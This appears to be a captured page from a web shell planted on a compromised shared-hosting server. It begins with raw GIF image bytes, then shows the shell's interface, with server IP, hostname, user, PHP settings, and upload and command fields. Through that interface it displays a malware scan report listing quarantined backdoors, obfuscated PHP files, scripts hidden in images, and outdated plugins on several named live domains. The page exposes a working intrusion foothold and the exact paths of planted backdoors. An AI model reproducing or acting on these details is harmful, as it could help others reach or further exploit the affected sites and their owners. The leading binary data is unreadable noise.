GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/akhalid/scan_report-2025-04-24_10-03
----------- SCAN REPORT -----------
TimeStamp: Thu, 24 Apr 2025 10:03:46 -0400
(/usr/sbin/cxs --background --clamdsock /var/clamd --dbreport --defapache nobody --doptions Mv --exploitscan --nofallback --filemax 100000 --noforce --html --ignore /etc/cxs/cxs.ignore.manual --options mMOLfSGchexdnwZDRru --noprobability --qoptions Mvh --quarantine /opt/cxs/quarantine --report /home/akhalid/scan_report-2025-04-24_10-03 --sizemax 1000000 --ssl --summary --sversionscan --timemax 30 --unofficial --user akhalid --virusscan --vmrssmax 2000000 --waitscan 0 --xtra /etc/cxs/cxs.xtra.manual)


Scanning /home/akhalid:

'/home/akhalid/access-logs'
# Symlink to [/usr/local/apache/domlogs/akhalid]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/saiton.zip'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/--stage.danevnt.com/wordpress-6.6.2 (2).zip'

'/home/akhalid/--stage.danevnt.com/dan/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.3 < v5.3.7]

'/home/akhalid/--stage.danevnt.com/dan/wp-content/plugins/elementor/elementor.php'
# Script version check [OLD] [Elementor v3.24.7 < v3.28.4]

'/home/akhalid/--stage.danevnt.com/dan/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.1 < v7.0.1]

'/home/akhalid/--stage.danevnt.com/dan/wp-content/plugins/polylang/polylang.php'
# Script version check [OLD] [Polylang v3.6.4 < v3.7]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/--stage.danevnt.com/dan/wp-content/uploads/2024/10/2361938-uhd_3840_2160_30fps.mp4'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/--stage.danevnt.com/dan/wp-content/uploads/2024/10/برمو2.mp4'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/--stage.danevnt.com/dan/wp-content/uploads/2024/12/dan_1.mp4'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/--stage.danevnt.com/dan/wp-content/uploads/2024/12/‎⁨ملف-مجموعة-دان-الرئيسي.⁩.pdf'

'/home/akhalid/--stage.danevnt.com/dan/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.7.1 < v6.8]

'/home/akhalid/--stage.danevnt.com/dan--/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.3 < v5.3.7]

'/home/akhalid/--stage.danevnt.com/dan--/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.6.2 < v6.8]

'/home/akhalid/.nc_plugin/hidden'
# World writeable directory

'/home/akhalid/ahmedkhalid.com/public_html/header.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/index.php'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-confiq.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/wp-confiq.php.1745505787_1) (decoded file [advanced decoder: 14 (depth: 2)]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/ahmedkhalid.com/public_html/wp-admin/lib_fat.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/lib_fat.php.1745505797_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/ahmedkhalid.com/public_html/wp-admin/images/media-button-music-2x.gif'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-content/themes/ahmedkhalid/includes/old-reCaptcha/google/DODpQLvf.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/DODpQLvf.php.1745505879_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/revisions.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.4.3 < v6.8]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/ID3/wp/vXPhhGvt.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/vXPhhGvt.php.1745506060_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/SimplePie/Cache/JAAwzJa.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/blocks/cover/BMrRP.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/css/dist/reusable-blocks/YmLoU.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/html-api/wp/uRXgB.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/images/smilies/icon_twisteds.png'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/images/wp/TlVvySRRYG.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/js/dist/server-sied-renders.min.js'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/ahmedkhalid.com/public_html/wp-includes/rest-api/wp/zVeNESMJr.php'
# Decode regex match = [decode regex: 1]
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/localisation/return_status.php]: No response from clamd process
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/localisation/stock_status.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/localisation/tax_class.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/localisation/tax_rate.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/localisation/weight_class.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/localisation/zone.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/mail/affiliate.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/mail/customer.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/mail/forgotten.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/mail/return.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/mail/reward.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/mail/transaction.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketing/contact.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketing/coupon.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketing/marketing.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/api.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/event.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/extension.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/install.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/installer.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/marketplace.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/marketplace/modification.php]: Connection refused
# Clamd Error for [SCAN /tmp/cxs_qulxRvaSkV0LFAsnjVUM1pRb8vDdI.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/report/online.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/report/report.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/report/statistics.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/sale/order.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/sale/recurring.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/sale/return.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/sale/voucher.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/sale/voucher_theme.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/setting/setting.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/setting/store.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/error.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/event.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/login.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/permission.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/router.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/sass.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/startup/startup.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/tool/backup.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/tool/log.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/tool/upload.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/user/api.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/user/user.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/controller/user/user_permission.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/language/ar/ar.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/language/ar/ar.png]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/language/ar/catalog/attribute.php]: Connection refused
# Clamd Error for [SCAN /home/akhalid/artat.2az.dev/public_html/admin/language/ar/catalog/attribute_group.php]: Connection refused

'/home/akhalid/danevnt.com/site/wp-content/languages/themes/lang.widgets-nav.php'
# Universal decode regex match = [universal decoder]

'/home/akhalid/danevnt.com/site/wp-content/plugins/contact-form-7/wp-contact-form-7.php'
# Script version check [OLD] [Contact Form 7 v5.6.3 < v6.0.6]

'/home/akhalid/danevnt.com/site/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.0.2 < v7.0.1]

'/home/akhalid/danevnt.com/site/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.0.2 < v6.8]

'/home/akhalid/danevnt.com/site/wp-includes/random_compat/global_attack.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/global_attack.php.1745507573_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/dangroup.sa/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.3 < v5.3.7]

'/home/akhalid/dangroup.sa/wp-content/plugins/elementor/elementor.php'
# Script version check [OLD] [Elementor v3.26.5 < v3.28.4]

'/home/akhalid/dangroup.sa/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/sect571k1.php'
# Universal decode regex match = [universal decoder]

'/home/akhalid/dangroup.sa/wp-content/plugins/google-site-kit/third-party/phpseclib/phpseclib/phpseclib/Crypt/EC/Curves/sect571r1.php'
# Universal decode regex match = [universal decoder]

'/home/akhalid/dangroup.sa/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.1 < v7.0.1]

'/home/akhalid/dangroup.sa/wp-content/plugins/polylang/polylang.php'
# Script version check [OLD] [Polylang v3.6.4 < v3.7]

'/home/akhalid/dangroup.sa/wp-content/plugins/wp-statistics/wp-statistics.php'
# Script version check [OLD] [WP Statistics v14.12 < v14.13.2]
# Scan Timeout (30 secs) while processing:
'/home/akhalid/dangroup.sa/wp-content/uploads/2024/10/2361938-uhd_3840_2160_30fps.mp4'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/dangroup.sa/wp-content/uploads/2024/12/dan_1.mp4'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/dangroup.sa/wp-content/uploads/2024/12/‎⁨ملف-مجموعة-دان-الرئيسي.⁩.pdf'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/drsarirabah.com/drsarirabah.com.zip'
# Scan Timeout (30 secs) while processing:
'/home/akhalid/drsarirabah.com/latest.zip'

'/home/akhalid/drsarirabah.com/wordpress/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-Spam v5.0 < v5.3.7]

'/home/akhalid/drsarirabah.com/wordpress/wp-content/uploads/sites/2/js_composer'
# World writeable directory

'/home/akhalid/drsarirabah.com/wordpress/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.0.2 < v6.8]

'/home/akhalid/first-gulf.com.sa/ooooold/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.5 < v5.3.7]

'/home/akhalid/first-gulf.com.sa/ooooold/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v5.3.3 < v7.0.1]

'/home/akhalid/first-gulf.com.sa/ooooold/wp-content/plugins/tinymce-advanced/dev_forward.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/dev_forward.php.1745510618_1) (decoded file [advanced decoder: 14 (depth: 1)]) Known exploit = [Fingerprint Match (fp)] [PHP COOKIE Exploit [P2259]]

'/home/akhalid/first-gulf.com.sa/ooooold/wp-content/plugins/tinymce-advanced/tinymce-advanced.php'
# Script version check [OLD] [Advanced Editor Tools v5.9.0 < v5.9.2]

'/home/akhalid/first-gulf.com.sa/ooooold/wp-content/themes/first-theme/includes/meta/inc/about/about.php'
# Universal decode regex match = [universal decoder]

'/home/akhalid/first-gulf.com.sa/ooooold/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.7.1 < v6.8]

'/home/akhalid/first-gulf.com.sa/wp-content/plugins/akismet/akismet.php'
# Script version check [OLD] [Akismet Anti-spam: Spam Protection v5.3.5 < v5.3.7]

'/home/akhalid/first-gulf.com.sa/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.4 < v7.0.1]

'/home/akhalid/first-gulf.com.sa/wp-content/themes/first-theme/includes/meta/inc/about/about.php'
# Universal decode regex match = [universal decoder]

'/home/akhalid/first-gulf.com.sa/wp-includes/version.php'
# Script version check [OLD] [Wordpress v6.7.2 < v6.8]

'/home/akhalid/gootech.app/header.php'
# Universal decode regex match = [universal decoder]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# Decode regex match = [decode regex: 1]
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/index.php'
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-confiq.php'
# Universal decode regex match = [universal decoder]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/wp-confiq.php.1745511263_1) (decoded file [advanced decoder: 14 (depth: 2)]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/gootech.app/wp-admin/css/colors/modern/fdMnaevYfL.php'
# (decoded file [depth: 1]) Decode regex match = [decode regex: 1]
# (quarantined to /opt/cxs/quarantine/cxsuser/akhalid/fdMnaevYfL.php.1745511290_1) (decoded file [depth: 2]) Known exploit = [Fingerprint Match (fp)] [Hacker Sig Exploit [P2246]]

'/home/akhalid/gootech.app/wp-admin/images/media-button-music-2x.gif'
# Suspicious image file (hidden script file)
# Universal decode regex match = [universal decoder]
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-content/plugins/litespeed-cache/litespeed-cache.php'
# Script version check [OLD] [LiteSpeed Cache v6.5.4 < v7.0.1]

'/home/akhalid/gootech.app/wp-content/plugins/tinymce-advanced/tinymce-advanced.php'
# Script version check [OLD] [Advanced Editor Tools v5.9.0 < v5.9.2]

'/home/akhalid/gootech.app/wp-content/themes/gootech-theme/assets/favicon/sHfLzy.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-content/uploads/2022/12/SqWeTgbS.php'
# Decode regex match = [decode regex: 1]

'/home/akhalid/gootech.app/wp-content/uploads/2024/02/mnlUFCDzP.php'
# Decode regex match = [decode regex: 1]
